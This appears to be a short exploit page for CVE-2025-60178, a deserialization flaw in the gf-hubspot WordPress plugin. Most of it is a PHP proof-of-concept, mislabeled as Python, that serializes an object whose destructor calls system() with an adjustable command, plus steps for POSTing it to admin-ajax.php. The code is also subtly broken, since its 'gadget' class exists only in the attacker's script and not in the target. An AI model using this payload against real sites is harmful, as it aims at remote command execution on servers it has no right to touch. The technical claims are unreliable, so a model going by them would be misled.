Deserialization of Untrusted Data vulnerability in CRM Perks WP Gravity Forms HubSpot gf-hubspot allows Object Injection.This issue affects WP Gravity Forms HubSpot: from n/a through <= 1.2.6.
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-60178 PoC - WP Gravity Forms HubSpot Object Injection
// This PoC demonstrates the deserialization vulnerability in gf-hubspot plugin
class GadgetChain {
public $callback;
public $args;
public function __destruct() {
if (isset($this->callback)) {
call_user_func_array($this->callback, $this->args);
}
}
}
// Generate malicious serialized payload
$payload = new GadgetChain();
$payload->callback = 'system';
$payload->args = ['id']; // Change command as needed
$serialized_payload = serialize($payload);
echo "Malicious Payload:\n";
echo $serialized_payload . "\n\n";
echo "URL Encoded:\n";
echo urlencode($serialized_payload) . "\n";
/*
Usage:
1. Identify a gf-hubspot endpoint that accepts serialized data
2. Send the malicious payload via POST parameter
3. Example: POST /wp-admin/admin-ajax.php
action=gf_hubspot_process&data=[MALICIOUS_PAYLOAD]
Note: This is for educational and security testing purposes only.
*/
?>